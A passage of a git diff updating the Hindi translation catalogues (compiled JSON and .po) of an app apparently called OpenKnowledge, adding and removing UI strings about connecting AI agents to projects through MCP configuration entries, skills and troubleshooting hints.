उपलब्ध है।"],"g4XBm0": ["छोटा अनुभाग शीर्षक।"],"g4e0hS": [["agentName"], " से पूछें"],"g58Kwy": [@@ -3314,6 +3405,7 @@"gfb-CM": ["ब्रांच नहीं लाई जा सकी — GitHub में साइन इन करें और फिर कोशिश करें।"],"gfdqcY": ["बदलाव लागू नहीं किया जा सका: ", ["0"]],"gfohmY": ["टूल जोड़ें"],+ "ggMMa7": ["परियोजना MCP सर्वर"],"ggm6JX": ["यह पेज अभी मौजूद नहीं है। संपादक में यह पेज बनाने और ग्राफ़ समेटने के लिए इसे खोलें।"],"ggs9f8": ["फ़ाइलें, फ़ोल्डर या कमांड खोजें"],"gh27t1": ["लिंक पूर्वावलोकन"],@@ -3330,6 +3422,38 @@"gpbKxw": ["लिंक सत्यापन उपलब्ध नहीं है।"],"gqk-3R": [["0"], " को ", ["destination"], " में ले जाया गया।"],"gtEbeW": ["उभारें"],+ "guidance.mcp.managed-file": [+ "एक छोटी ब्रिज फ़ाइल लिखता है, जिसे ",+ ["agent"],+ " इस प्रोजेक्ट से लोड करके OpenKnowledge तक पहुँचता है।"+ ],+ "guidance.mcp.project-config": [+ "इस प्रोजेक्ट में ",+ ["agent"],+ " जो MCP कॉन्फ़िग पढ़ता है, उसमें OpenKnowledge जोड़ता है, ताकि वह ये दस्तावेज़ पढ़, खोज और संपादित कर सके।"+ ],+ "guidance.mcp.session-injection": [+ "जब भी OpenKnowledge ",+ ["agent"],+ " को शुरू करता है, उसे OpenKnowledge के टूल मिलते हैं; उसकी कॉन्फ़िग में कुछ नहीं लिखा जाता।"+ ],+ "guidance.mcp.user-config": [+ ["agent"],+ " की अपनी MCP कॉन्फ़िग में OpenKnowledge जोड़ता है, ताकि इस मशीन के सभी प्रोजेक्ट तक पहुँच बन सके।"+ ],+ "guidance.skill.central-store": [+ ["agent"],+ " जो केंद्रीय स्किल स्टोर पढ़ता है, उसमें OpenKnowledge स्किल रखता है।"+ ],+ "guidance.skill.project": [+ "इस प्रोजेक्ट के लिए ",+ ["agent"],+ " के स्किल फ़ोल्डर में OpenKnowledge स्किल रखता है, ताकि उसके संपादनों का श्रेय बना रहे।"+ ],+ "guidance.skill.user": [+ ["agent"],+ " के मशीन-व्यापी स्किल फ़ोल्डर में OpenKnowledge खोज स्किल रखता है, ताकि वह किसी भी प्रोजेक्ट में OpenKnowledge ढूँढ सके।"+ ],"gv5w9J": ["owner/repo, एक git URL, या एक स्थानीय पथ"],"gvApb7": ["आप जो पढ़ते हैं उसे स्पष्ट, भरोसेमंद लेखों में बदलें। कोई स्रोत सहेजें, समझें कि उसका क्या अर्थ है, फिर अंतिम संस्करण रखें ताकि आप बाद में उस पर भरोसा कर सकें।"@@ -3342,6 +3466,14 @@"h06R3C": ["किसी पेज पर जाने वाले ग्राफ़ लिंक अनुपस्थित नहीं हैं।"],"h16FyT": ["सूचियाँ"],"h2N-1n": [["0"], " में इंस्टॉल है"],+ "h2QPvj": [+ ["dependent"],+ " को ",+ ["prerequisite"],+ " चाहिए, और OpenKnowledge उस प्रविष्टि को नहीं पहचानता। इसे बदलने के लिए ",+ ["prerequisite"],+ " चुनें, फिर दोबारा सहेजें।"+ ],"h3QZcB": [["shareBranch"], " नाम की एक ब्रांच पहले से मौजूद है। इसके बजाय स्विचर से इसका वर्कट्री खोलें।"],"h69WC6": ["भेजा गया"],"h7FzJC": ["लिंक-ग्राफ़ की प्रतिक्रिया अपेक्षित आकार से मेल नहीं खाई।"],@@ -3450,7 +3582,6 @@"iH8pgl": ["वापस"],"iHAJDj": ["डिफ़ॉल्ट स्थान तय किया जा रहा है"],"iIaSUD": ["रिक्त स्थान"],- "iKS6gg": ["स्किल को स्किल स्टूडियो में ले जाया गया।"],"iKSP5j": ["शब्द लपेटें"],"iKZkk1": ["प्रॉपर्टी का मान"],"iKvAeG": ["जाँचा जा रहा है"],@@ -3496,6 +3627,7 @@"ij-Elv": ["छवि पूर्वावलोकन"],"ijLc3m": ["बुलेट सूची"],"ilodsp": ["एजेंट को बिना पूछे OpenKnowledge उपयोग करने दें"],+ "inJhKB": ["बदलें और सहेजें"],"ioMn4Z": ["टेम्पलेट से नया…"],"iodl3p": ["सर्वर ने गलत प्रारूप वाली अपलोड प्रतिक्रिया लौटाई।"],"ipCibE": ["खाली फ़ोल्डर नाम की अनुमति नहीं है (//)"],@@ -3511,6 +3643,7 @@"irnKr_": [["updatedRelative"], " अपडेट हुआ"],"irrm_E": ["चयन हटाएँ"],"isRobC": ["नया"],+ "itchkf": ["एजेंट को इस मशीन की हर परियोजना में OpenKnowledge से जोड़ता है।"],"iuTKci": ["अभी कोई संपादन नहीं।"],"iv452l": [["0"], " का दस्तावेज़ीकरण (ब्राउज़र में खुलता है)"],"iycx_A": ["भेजा जा रहा है"],@@ -3687,6 +3820,7 @@"kfL8BJ": ["आयात विफल: ", ["0"]],"kj9pAE": ["पेज बनाया जा रहा है"],"kjlQ9D": ["सिमलिंक बन जाता है"],+ "kjrq_8": ["अधिक जानकारी"],"kknhfj": ["कोई बदलाव नहीं"],"kkux8f": [["0"], " नहीं हटाया जा सका। फिर से कोशिश करें।"],"klPS-L": ["मूल फ़ाइल — इस एजेंट के संपादन से पहले।"],@@ -3742,6 +3876,7 @@"l87Deg": ["चुनें कि नया टैब क्या शुरू करे"],"l9s3IX": [["agentName"], " बातचीत शुरू नहीं कर सका।"],"lAiyU_": ["केवल मौजूदा दस्तावेज़ <0>#", ["tag"], "</0> का उपयोग करता है।"],+ "lBN3T6": ["एजेंट कनेक्शन"],"lCC_D5": ["सदस्यता ली जा रही है…"],"lGs_bQ": ["पेज <0>*</0>"],"lHCR4I": ["डिफ़ॉल्ट OpenAI एंडपॉइंट पर लौटने के लिए फ़ील्ड साफ़ करें।"],@@ -3818,9 +3953,6 @@"mHVPm5": ["फिर से जुड़ना ज़रूरी"],"mHf8mp": ["स्कीमा फ़ाइल ", ["file"], " हटाएँ"],"mHo0kp": ["Open Knowledge टूल सक्षम करने के अनुरोध का समय समाप्त हो गया। यह थ्रेड उनके बिना चलता है।"],- "mLAjyL": [- "आप जिन AI टूल का उपयोग करते हैं उन्हें अपने प्रोजेक्ट पढ़ने और अपडेट करने की पहुँच दें। बॉक्स चुनते ही यह तुरंत सेट हो जाता है; हटाने पर हट जाता है।"- ],"mPoOmg": ["पहले यहाँ एक स्किल इंस्टॉल करें"],"mPy9lS": ["मेरी मौजूदा स्पेक को क्षेत्र के अनुसार समूहित एक जुड़ी हुई अनुक्रमणिका में व्यवस्थित करें, और जो मौजूदा कोड से तालमेल खो चुकी हों उन्हें चिह्नित करें।"@@ -3838,6 +3970,7 @@"maDWIB": ["मिरर स्रोत <0>api-spec</0>"],"makN88": ["अभी कोई पैटर्न नहीं। फ़ाइलें छिपाना शुरू करने के लिए नीचे कोई फ़ोल्डर या फ़ाइल नाम लिखें।"],"mdKFEy": ["आपने \"", ["docName"], "\" लोड करना रद्द कर दिया।"],+ "mdWhUY": ["OpenKnowledge को इस मशीन पर यह एजेंट नहीं मिला।"],"mdzKSV": [["nodeCount", "plural", { "one": ["#", " नोड"], "other": ["#", " नोड"] }]],"mf37rL": ["फिर कोशिश की जा रही है"],"mg0YGL": ["स्रोत में बहु-कर्सर और बहु-चयन"],@@ -3893,6 +4026,7 @@"mwMF9u": ["स्रोत संपादक मोड में CodeMirror खोज खोलें।"],"mxGJVE": ["वर्कट्री बदलें…"],"mxY24F": ["जब फ़ोकस Files साइडबार में हो तब फ़ोकस किए गए फ़ाइल-ट्री आइटम की नकल बनाएँ।"],+ "n11Jj7": ["इस एजेंट के लिए OpenKnowledge परियोजना स्किल इंस्टॉल करता है।"],"n2XqGH": ["संपादक फलक"],"n2lRue": ["बदलने के लिए बदलाव कमिट या स्टैश करें:"],"n3T3EE": [["label"], " में इंस्टॉल है — हटाने के लिए क्लिक करें"],@@ -3908,7 +4042,6 @@],"n7aopT": ["संपादक मोड"],"n81AV0": [["owner"], "/", ["name"], " पहले से मौजूद है। कोई दूसरा नाम चुनें।"],- "n8DwqQ": ["अगली बार जब आप इस प्रोजेक्ट को किसी विश्वसनीय Codex सत्र में खोलेंगे तो यह अपने आप जुड़ जाएगा।"],"nBHvPL": ["संपादन रद्द करें"],"nBgzKO": ["इसे स्रोत बनाएँ — स्किल का असली फ़ोल्डर यहाँ आ जाता है"],"nCzR-G": ["कोड ", ["userCode"], " कॉपी करें"],@@ -3972,6 +4105,7 @@"nsM-_m": ["सैकड़ों थीम ब्राउज़ करें"],"nsUDL8": [["1"], " में से ", ["0"], " प्रोजेक्ट चुने गए"],"nskygk": ["एजेंट चुनें"],+ "nta97o": ["एजेंट को आपके दस्तावेज़ों के साथ काम करने के निर्देश देता है और उसके संपादनों का श्रेय बनाए रखता है।"],"nwtY4N": ["कुछ ग़लत हो गया"],"nxlOpL": ["OpenKnowledge यही GitHub खाता उपयोग कर रहा है।"],"ny6vNn": [@@ -4035,6 +4169,7 @@"\" का स्थानीय सहयोग डेटा साफ़ नहीं हो सका। फिर कोशिश करने के लिए पेज दोबारा लोड करें।"],"oxdGJn": ["जाने से पहले, क्या आप बताना चाहेंगे कि क्यों?"],+ "oxj8er": ["एजेंट को इस परियोजना से जोड़ता है, ताकि वह आपके दस्तावेज़ पढ़, खोज और संपादित कर सके।"],"oy5bJW": ["आप जोड़ सकते हैं"],"oyBV3W": ["कस्टम स्किल फ़ोल्डर पाथ"],"p0Iq25": ["लिंक डालें"],@@ -4107,7 +4242,6 @@["1"]," को स्थायी रूप से हटा देता है। SKILL.md में जो कुछ भी उसकी ओर इशारा करता है, वह दोबारा बनाए जाने तक काम नहीं करेगा।"],- "psfGPX": ["MCP कनेक्शन"],"psl2Sj": ["आपका बदलाव अब भी सहेजा जा रहा है — कुछ देर बाद परीक्षण फिर चलाएँ।"],"ptQ3_N": ["अनलिंक करें"],"pvnfJD": ["गहरा"],@@ -4121,6 +4255,7 @@"q4YJl_": ["टर्मिनल सत्र समाप्त हो गया (निकास कोड ", ["0"], ")।"],"q4efaG": [["filePath"], " अब इस स्किल में नहीं है"],"q6-JVU": ["पेज लोड हो रहे हैं"],+ "q63KUv": ["MCP और स्किल जोड़ें"],"q7F5am": ["शीर्षक"],"q8aCbb": ["\"", ["0"], "\" के दो संस्करण — स्रोत बनाम ", ["editor"]],"qAQVSD": ["पेज शीर्षकों की प्रतिक्रिया JSON नहीं थी"],@@ -4183,10 +4318,12 @@"qlAIQ1": ["रिमोट"],"qo4zCg": ["पथ में बैकस्लैश नहीं हो सकते"],"qpQwGC": ["बताएँ कि आप किस पर काम कर रहे हैं और एजेंट आपके लिए इसे सेट अप कर देगा।"],+ "qr2gAH": ["चुनें कि OpenKnowledge ", ["0"], " के लिए क्या सेट अप करे।"],"qribBG": ["स्कीमा ", ["deleteTarget"]],"qtnmEX": ["थीम का मान्य नाम दर्ज करें।"],"qvWGzP": ["सभी समेटें"],"qyLmWw": ["स्रोत संपादक का खोज पैनल"],+ "qze9od": ["यह फ़ोल्डर ", ["alsoAffects"], " का भी है।"],"r-OJYm": ["एक मान्य ब्रांच नाम डालें (कोई रिक्त स्थान नहीं, शुरू में बिंदु नहीं, \"..\" नहीं)।"],"r2eKE3": ["पहले ", ["agentName"], " में साइन इन करें"],"r4R7AZ": ["सफ़ाई के दौरान नेटवर्क त्रुटि"],@@ -4268,6 +4405,7 @@"s1c0ja": ["बुलेट सूची"],"s3caR3": ["हटाया जा रहा है"],"s7us1p": ["केवल PNG, JPEG या WebP छवियाँ अनुमत हैं।"],+ "s8difl": ["स्किल के बिना भी एजेंट काम करता है, लेकिन उसे संपादन का श्रेय और लाइव पूर्वावलोकन नहीं मिलता।"],"sAP9XO": [["0"], " प्लगइन · ", ["1"]],"sE7R19": ["टेम्पलेट लोड नहीं हो सके: ", ["templatesError"], ". आप फिर भी एक खाली नोट बना सकते हैं।"],"sER-bs": ["फ़ाइलें"],@@ -4357,6 +4495,9 @@"tA0b9E": ["डिफ़ॉल्ट स्किल फ़ोल्डर (सहेजने के बाद सटीक पथ दिखता है)"],"tA2-xC": ["\"", ["0"], "\" पहले ही जोड़ा जा चुका था (समान सामग्री)।"],"tAPZEx": ["नीचे"],+ "tCE-ZH": [+ "OpenKnowledge इस प्रविष्टि को नहीं पहचानता, और इस फ़ाइल के फ़ॉर्मैट में इसे सुरक्षित रूप से नहीं बदल सकता।"+ ],"tCyvAw": ["फ़ाइल संलग्न करें"],"tHKQ6j": ["नाम बदला जा रहा है"],"tKlWWY": ["इमोजी"],@@ -4391,6 +4532,51 @@"tnG-m6": ["स्वत: सिंक रुका हुआ है — फिर से शुरू करने के लिए साइन इन करें।"],"toyw51": ["Mermaid आरेख नियंत्रण"],"tqQBwN": ["कोई भी स्क्रिप्ट समीक्षा के लिए दिखाई जाती है, कभी चलाई नहीं जाती।"],+ "troubleshooting.claude-desktop.per-tool-approval": [+ ["agent"],+ " हर OpenKnowledge टूल के पहले इस्तेमाल पर आपसे स्वीकृति माँगता है।"+ ],+ "troubleshooting.claude.project-entry-not-approved": [+ "अगर ",+ ["agent"],+ " में OpenKnowledge टूल नहीं दिखते, तो इसे इस प्रोजेक्ट में चलाएँ और OpenKnowledge सर्वर को एक बार स्वीकृत करें।"+ ],+ "troubleshooting.codex.desktop-project-config": [+ ["agent"],+ " डेस्कटॉप ऐप इस प्रोजेक्ट कॉन्फ़िग को अनदेखा करता है; इसे केवल ",+ ["agent"],+ " CLI पढ़ता है।"+ ],+ "troubleshooting.copilot.shared-workspace-config": [+ ["agent"],+ " वही वर्कस्पेस MCP कॉन्फ़िग पढ़ता है जो OpenKnowledge ",+ ["sourceAgent"],+ " के लिए लिखता है; एक के लिए हटाने पर यह दोनों के लिए हट जाता है।"+ ],+ "troubleshooting.cursor.project-entry-not-loaded": [+ "अगर ",+ ["agent"],+ " में OpenKnowledge टूल नहीं दिखते, तो Settings → Tools & MCP में सर्वर चालू करें; जब तक आप ऐसा नहीं करते, ",+ ["agent"],+ " प्रोजेक्ट सर्वर बंद रखता है।"+ ],+ "troubleshooting.lm-studio.config-path-mismatch": [+ "अगर ",+ ["agent"],+ " में OpenKnowledge टूल नहीं दिखते, तो जाँचें कि उसकी सेटिंग में MCP कॉन्फ़िग का पथ उस फ़ाइल से मेल खाता है जो OpenKnowledge ने लिखी है।"+ ],+ "troubleshooting.openclaw.central-store-missing": [+ ["agent"],+ " का केंद्रीय स्किल स्टोर अभी मौजूद नहीं है; ",+ ["agent"],+ " को एक बार शुरू करें ताकि वह इसे बना ले, फिर दोबारा कोशिश करें।"+ ],+ "troubleshooting.pi.folder-trust": [+ ["agent"],+ " प्रोजेक्ट एक्सटेंशन केवल उन्हीं फ़ोल्डर में लोड करता है जिन पर आपने भरोसा किया है; अगर टूल नहीं दिखते, तो ",+ ["agent"],+ " में इस फ़ोल्डर पर भरोसा करें।"+ ],"tsiTqO": ["अपनी API कुंजी चिपकाएँ"],"tvMvze": ["\\\"",@@ -4447,6 +4633,7 @@"uUCrBv": ["सिमलिंक"],"uV3EYs": ["आपकी छवियाँ"],"uVbUP8": ["सेटिंग…"],+ "uVhq9B": ["इस एजेंट के लिए OpenKnowledge खोज स्किल इंस्टॉल करता है।"],"uX85yl": ["सेटअप फ़ाइलों में शामिल हैं: <0>.ok/</0>, AI-टूल MCP कॉन्फ़िग (<1>.mcp.json</1> और प्रति-टूल फ़ाइलें)। आपकी स्किल इसमें शामिल नहीं हैं — वे प्रोजेक्ट की बाकी फ़ाइलों की तरह ही git का अनुसरण करती हैं।<2/><3>साझा</3> उन्हें git में कमिट करता है, इसलिए जो भी रिपॉज़िटरी क्लोन करता है उसे वही सेटअप मिलता है। <4/><5>केवल मेरे लिए</5> उन्हें git से बाहर रखता है (<6>.git/info/exclude</6> के ज़रिए)।"],@@ -4566,6 +4753,7 @@"vy_VIN": ["git में ट्रैक किया गया — अपडेट आपकी रिपॉज़िटरी के ज़रिए आते हैं (pull या CI), स्वत: अपडेट से नहीं"],+ "vyjTYE": [["changeCount", "plural", { "one": ["#", " बदलाव"], "other": ["#", " बदलाव"] }]],"w0YVAE": ["स्किल नोड दिखाएँ"],"w3tVpc": ["अभी कोई लिंक नहीं। ग्राफ़ बनाने के लिए विकी लिंक या markdown लिंक जोड़ें।"],"w3vFfL": ["Files छिपाएँ"],@@ -4599,6 +4787,7 @@"wQp1V3": ["<0>", ["src"], "</0> का मिरर"],"wQvvZY": ["नई स्किल फ़ाइल"],"wRni1Z": ["Slidev बंद करें"],+ "wSBXaS": [["rowLabel"], " प्रबंधित करें"],"wT4iQr": ["दृश्य-संपादक की खोज फैले हुए बदलें-नियंत्रणों के साथ खोलें।"],"wTcjov": ["कोई कार्यक्षेत्र नहीं"],"wU8WyK": ["तत्व फ़ील्ड"],@@ -4624,7 +4813,9 @@"wdxz7K": ["स्रोत"],"wdzBgi": ["कॉन्फ़िग साझाकरण अब केवल मेरे लिए है।"],"weP6me": ["दस्तावेज़ लोड नहीं हो सके — फिर कोशिश करने के लिए @ दोबारा टाइप करें"],+ "wfZwqe": [["rowLabel"], " इंस्टॉल करें"],"wgNoIs": ["सब चुनें"],+ "wgj--j": ["इस एजेंट के लिए एक वैश्विक OpenKnowledge MCP प्रविष्टि जोड़ता है।"],"wk_v1X": ["इस वर्कट्री के लिए सिंक “स्वचालित (खींचें और भेजें)” पर सेट है, जो ",["project"],@@ -4759,7 +4950,6 @@"yZmvQ4": ["इस प्रोजेक्ट का सर्वर (v", ["0"], ") इस ऐप (v", ["1"], ") से नया है।"],"y_5CE8": ["आइटम ", ["0"]],"y_K0Dz": ["क्या हुआ?"],- "yaPGPa": ["किसी प्रोजेक्ट के AI टूल कनेक्शन सँभालने के लिए उसे खोलें।"],"ybPMz3": [["name"], " को पिन नहीं किया जा सका"],"ycIX5i": ["आप साइन आउट हैं — सिंक फिर से शुरू करने के लिए साइन इन करें।"],"yckias": ["फ़ाइल का नाम बदलें"],@@ -4781,9 +4971,6 @@["source"],"</0> पर है — यहाँ चलने वाले एजेंट इसे लोड नहीं कर सकते। संपादित करने के लिए इसे यहाँ कॉपी करें।"],- "yhdqox": [- "इंस्टॉल है — ok बाहरी टर्मिनलों में उपलब्ध है। चुनाव हटाने पर यह हट जाता है; OpenKnowledge का अंतर्निहित टर्मिनल और AI टूल काम करते रहते हैं।"- ],"yhy5h-": ["सभी ", ["count"], " स्किलें देखें"],"yit5dF": ["इस प्रोजेक्ट में अभी कोई फ़ोल्डर नहीं है।"],"yjExfe": ["ब्रांच <0>", ["shareBranch"], "</0> यहाँ चेक आउट है:"],@@ -4796,7 +4983,6 @@"yvG-l1": ["स्रोत lint पैनल खोलें"],"yvHDYG": ["Claude Desktop"],"yvSAuM": ["ठीक करना रोकें। जो फ़ाइलें पहले ही ठीक हो चुकी हैं वे ठीक ही रहेंगी।"],- "ywVfOE": ["इस प्रोजेक्ट की स्किल को स्किल स्टूडियो में ले जाया गया।"],"yxF19Y": [["0", "plural", { "one": ["#", " प्लगइन"], "other": ["#", " प्लगइन"] }]],"yz7wBu": ["बंद करें"],"yzF66j": ["लिंक"],diff --git a/packages/app/src/locales/hi/messages.po b/packages/app/src/locales/hi/messages.poindex beeb7723d..870fee395 100644--- a/packages/app/src/locales/hi/messages.po+++ b/packages/app/src/locales/hi/messages.po@@ -330,6 +330,12 @@ msgstr "{0} {1} को बिना पूछे काम करने देmsgid "{0} needs {1}"msgstr "{0} को {1} चाहिए"+#. placeholder {0}: removed.dependent+#. placeholder {1}: removed.prerequisite+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{0} needs {1}. Turn both off, or keep both on."+msgstr "{0} को {1} की ज़रूरत है। दोनों को बंद करें, या दोनों को चालू रखें।"+#. placeholder {0}: item.displayName#: src/components/acp/ThreadView.tsxmsgid "{0} needs replacing"@@ -470,6 +476,31 @@ msgstr "{0} वर्ष पहले"msgid "{accessibleLabel} (conflict)"msgstr "{accessibleLabel} (टकराव)"+#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.claude-desktop.per-tool-approval"+msgstr "{agent} हर OpenKnowledge टूल के पहले इस्तेमाल पर आपसे स्वीकृति माँगता है।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.session-injection"+msgstr "जब भी OpenKnowledge {agent} को शुरू करता है, उसे OpenKnowledge के टूल मिलते हैं; उसकी कॉन्फ़िग में कुछ नहीं लिखा जाता।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.pi.folder-trust"+msgstr "{agent} प्रोजेक्ट एक्सटेंशन केवल उन्हीं फ़ोल्डर में लोड करता है जिन पर आपने भरोसा किया है; अगर टूल नहीं दिखते, तो {agent} में इस फ़ोल्डर पर भरोसा करें।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.copilot.shared-workspace-config"+msgstr "{agent} वही वर्कस्पेस MCP कॉन्फ़िग पढ़ता है जो OpenKnowledge {sourceAgent} के लिए लिखता है; एक के लिए हटाने पर यह दोनों के लिए हट जाता है।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "troubleshooting.openclaw.central-store-missing"+msgstr "{agent} का केंद्रीय स्किल स्टोर अभी मौजूद नहीं है; {agent} को एक बार शुरू करें ताकि वह इसे बना ले, फिर दोबारा कोशिश करें।"+#: src/components/acp/ThreadView.tsxmsgid "{agentName} couldn't start a conversation."msgstr "{agentName} बातचीत शुरू नहीं कर सका।"@@ -520,6 +551,10 @@ msgstr "{boldName} <0>{0}</0> प्लगइन{pluginVersion} का हिसmsgid "{boldName} lives outside this project, at <0>{source}</0> — agents running here can't load it. Copy it in to edit."msgstr "{boldName} इस प्रोजेक्ट के बाहर, <0>{source}</0> पर है — यहाँ चलने वाले एजेंट इसे लोड नहीं कर सकते। संपादित करने के लिए इसे यहाँ कॉपी करें।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{changeCount, plural, one {# change} other {# changes}}"+msgstr "{changeCount, plural, one {# बदलाव} other {# बदलाव}}"+#: src/components/EditorFooter.tsxmsgid "{chars, plural, one {char} other {chars}}"msgstr "{chars, plural, one {अक्षर} other {अक्षर}}"@@ -609,6 +644,26 @@ msgstr "{days, plural, one {# दिन पहले} other {# दिन पहmsgid "{days}d ago"msgstr "{days} दिन पहले"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format."+msgstr "{dependent} को {prerequisite} की ज़रूरत है, और OpenKnowledge इस फ़ाइल के फ़ॉर्मैट में उस एंट्री को सुरक्षित रूप से बदल नहीं सकता।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge could not find this agent on this machine."+msgstr "{dependent} को {prerequisite} की ज़रूरत है, और OpenKnowledge को इस मशीन पर यह एजेंट नहीं मिला।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and OpenKnowledge does not recognize that entry. Tick {prerequisite} to replace it, then save again."+msgstr "{dependent} को {prerequisite} चाहिए, और OpenKnowledge उस प्रविष्टि को नहीं पहचानता। इसे बदलने के लिए {prerequisite} चुनें, फिर दोबारा सहेजें।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent once, then try again."+msgstr "{dependent} को {prerequisite} की ज़रूरत है, और इस मशीन पर इस एजेंट की उस प्रकार की कोई फ़ाइल अभी नहीं है। एजेंट को एक बार खोलें, फिर दोबारा कोशिश करें।"++#: src/components/settings/AgentConnectionDialogs.tsx+msgid "{dependent} needs {prerequisite}, which OpenKnowledge cannot set up for you. Its setup guide has the manual steps."+msgstr "{dependent} को {prerequisite} की ज़रूरत है, जिसे OpenKnowledge आपके लिए सेट अप नहीं कर सकता। इसकी सेटअप गाइड में मैन्युअल चरण दिए गए हैं।"+#: src/editor/extensions/JsxComponentView.tsxmsgid "{descriptorLabel} — render error, source editable below"msgstr "{descriptorLabel} — रेंडर त्रुटि, स्रोत नीचे संपादन योग्य"@@ -650,7 +705,7 @@ msgstr "{displayName} ({bin}) इंस्टॉल नहीं है या#: src/components/handoff/OpenInAgentContextSubmenu.tsx#: src/components/handoff/OpenInAgentEmptySpaceSubmenu.tsx#: src/components/handoff/OpenInAgentMenu.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} CLI"msgstr "{displayName} CLI"@@ -660,7 +715,7 @@ msgid "{displayName} CLI, {hint}"msgstr "{displayName} CLI, {hint}"#: src/components/handoff/agent-launcher-labels.tsx-#: src/components/settings/ConfigureAgentsSection.tsx+#: src/components/settings/AgentConnectionsSection.tsxmsgid "{displayName} Desktop"msgstr "{displayName} Desktop"@@ -1060,10 +1115,6 @@ msgstr "<{componentName}> एक ज्ञात कंपोनेंट नहmsgid "<{descriptorLabel}> failed to render (likely a bad prop). Copy the source to see what went wrong, or delete the block."msgstr "<{descriptorLabel}> रेंडर नहीं हो सका (शायद कोई ग़लत प्रॉप)। क्या ग़लत हुआ यह देखने के लिए स्रोत कॉपी करें, या ब्लॉक हटा दें।"-#: src/components/settings/AiToolsSection.tsx-msgid "<0>~/.ok/bin</0> and <1>~/.ok/env.sh</1> stay either way — the app always maintains them."-msgstr "<0>~/.ok/bin</0> और <1>~/.ok/env.sh</1> दोनों ही स्थिति में बने रहते हैं — ऐप हमेशा इनका रखरखाव करता है।"-#: src/editor/components/Mirror.tsxmsgid "<0>Mirror — pick a source.</0> Set <1>src</1> + <2>anchor</2> via the property panel to point at a <3><MirrorSource></3> elsewhere."msgstr "<0>मिरर — एक स्रोत चुनें।</0> कहीं और मौजूद किसी <3><MirrorSource></3> की ओर इंगित करने के लिए प्रॉपर्टी पैनल से <1>src</1> + <2>anchor</2> सेट करें।"@@ -1489,6 +1540,14 @@ msgstr "{keyName} में आइटम जोड़ें"msgid "Add link"msgstr "लिंक जोड़ें"+#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill"+msgstr "MCP और स्किल जोड़ें"++#: src/components/settings/AgentConnectionsSection.tsx+msgid "Add MCP & skill for {rowLabel}"+msgstr "{rowLabel} के लिए MCP और स्किल जोड़ें"+#: src/components/settings/SearchSection.tsxmsgid "Add meaning-based ranking to search so conceptually-related pages surface even when they share no keywords."msgstr "खोज में अर्थ-आधारित रैंकिंग जोड़ें ताकि वैचारिक रूप से जुड़े पेज तब भी सामने आएँ जब उनमें कोई साझा कीवर्ड न हो।"@@ -1527,10 +1586,9 @@ msgstr "टैब जोड़ें"msgid "Add tag"msgstr "टैग जोड़ें"-#. Checkbox in Settings → AI tools & CLI that adds the ok CLI to the user's shell PATH#. Toggle in the first-launch dialog that adds the ok CLI to the user's shell PATH#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Add the <0>ok</0> command to your terminal"msgstr "अपने टर्मिनल में <0>ok</0> कमांड जोड़ें"@@ -1564,16 +1622,15 @@ msgstr "इस संदेश में अपनी टिप्पणियmsgid "Added"msgstr "जोड़ा गया"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds a global OpenKnowledge MCP entry for this agent."+msgstr "इस एजेंट के लिए एक वैश्विक OpenKnowledge MCP प्रविष्टि जोड़ता है।"+#: src/components/McpConsentDialogBody.tsx-#: src/components/settings/AiToolsSection.tsx+#: src/components/settings/OkCliPathRow.tsxmsgid "Adds a managed block to"msgstr "इसमें एक प्रबंधित ब्लॉक जोड़ता है"-#. placeholder {0}: status.path.rcFilesToTouch.join(', ')-#: src/components/settings/AiToolsSection.tsx-msgid "Adds a managed block to {0}"-msgstr "{0} में एक प्रबंधित ब्लॉक जोड़ता है"-#. Subtext under the project AI-tools checkbox#: src/components/ProjectAiToolsField.tsxmsgid "Adds an OpenKnowledge MCP entry and the project skill to <0>{toolList}</0>, so your agents can read and edit your files."@@ -1584,6 +1641,20 @@ msgstr "<0>{toolList}</0> में OpenKnowledge की MCP प्रविषmsgid "Adds an OpenKnowledge MCP entry to <0>{connectToolList}</0>, so your agents can read and edit your files."msgstr "<0>{connectToolList}</0> में OpenKnowledge की MCP प्रविष्टि जोड़ता है ताकि आपके एजेंट आपकी फ़ाइलें पढ़ और संपादित कर सकें।"+#: src/components/settings/AgentConnectionDialogs.tsx+msgid "Adds an OpenKnowledge MCP entry to this project's agent config."+msgstr "इस परियोजना के एजेंट कॉन्फ़िगरेशन में OpenKnowledge MCP प्रविष्टि जोड़ता है।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.user-config"+msgstr "{agent} की अपनी MCP कॉन्फ़िग में OpenKnowledge जोड़ता है, ताकि इस मशीन के सभी प्रोजेक्ट तक पहुँच बन सके।"++#. js-lingui-explicit-id+#: src/lib/agent-guidance-copy.ts+msgid "guidance.mcp.project-config"+msgstr "इस प्रोजेक्ट में {agent} जो MCP कॉन्फ़िग पढ़ता है, उसमें OpenKnowledge जोड़ता है, ताकि वह ये दस्तावेज़ पढ़, खोज और संपादित कर सके।"+#: src/components/ReportBugDialogBody.tsxmsgid "Adds telemetry, server state, and runtime info when available. Credentials are always removed; document names, if included, appear in cleartext (not redacted)."msgstr "उपलब्ध होने पर टेलीमेट्री, सर्वर स्थिति और रनटाइम जानकारी जोड़ता है। क्रेडेंशियल हमेशा हटा दिए जाते हैं; दस्तावेज़ों के नाम, यदि शामिल हों, सादे पाठ में दिखते हैं (हटाए नहीं जाते)।"@@ -1636,6 +1707,11 @@ msgstr "एजेंट चैट"msgid "Agent 